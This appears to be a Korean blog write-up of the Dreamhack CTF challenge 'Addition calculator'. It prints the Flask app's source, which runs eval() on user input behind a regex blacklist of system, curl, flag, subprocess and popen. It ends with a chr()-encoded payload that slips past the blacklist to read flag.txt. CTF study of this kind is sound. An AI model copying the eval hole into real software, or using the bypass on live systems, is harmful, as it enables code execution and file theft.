드림핵 Addition calculator 풀이

사랑해요·2026년 9월 13일

드림핵 문제 풀이

목록 보기
14/16

문제설명

사이트 분석

이런 화면이 떠서

여러가지 덧셈식을 입력해 보았다.

1+1,1+2
1-2를 입력했더니
filltered가 떴다.

소스코드 분석

#!/usr/bin/python3
from flask import Flask, request, render_template
import string
import subprocess
import re


app = Flask(__name__)


def filter(formula):
    w_list = list(string.ascii_lowercase + string.ascii_uppercase + string.digits)
    w_list.extend([" ", ".", "(", ")", "+"])

    if re.search("(system)|(curl)|(flag)|(subprocess)|(popen)", formula, re.I):
        return True
    for c in formula:
        if c not in w_list:
            return True


@app.route("/", methods=["GET", "POST"])
def index():
    if request.method == "GET":
        return render_template("index.html")
    else:
        formula = request.form.get("formula", "")
        if formula != "":
            if filter(formula):
                return render_template("index.html", result="Filtered")
            else:
                try:
                    formula = eval(formula)
                    return render_template("index.html", result=formula)
                except subprocess.CalledProcessError:
                    return render_template("index.html", result="Error")
                except:
                    return render_template("index.html", result="Error")
        else:
            return render_template("index.html", result="Enter the value")


app.run(host="0.0.0.0", port=8000)

w_list = list(string.ascii_lowercase + string.ascii_uppercase + string.digits) w_list.extend([" ", ".", "(", ")", "+"])

이 부분을 보면 허용되는 문자들은, a-z,A-Z,공백,.,(,),+였다.
또, 필터링되는 단어들은 system, curl, flag, subprocess, popen이었다

formula = eval(formula)
그리고 이 부분을 보면 필터를 뚫어 내기만 하면 python 코드를 실행해 flag를 읽을 수 있을거 같았다.

풀이

open(flag.txt).read()
나는 이런 형태의 코드를 사용할건데, 블랙리스트에 의해 flag가 필터링된다. 따라서 파이썬의 chr() 함수를 이용하여 flag를 변환했다.

open(chr(102) + chr(108) + chr(97) + chr(103) + chr(46) + chr(116) + chr(120) + chr(116)).read()

profile
중등해커

0개의 댓글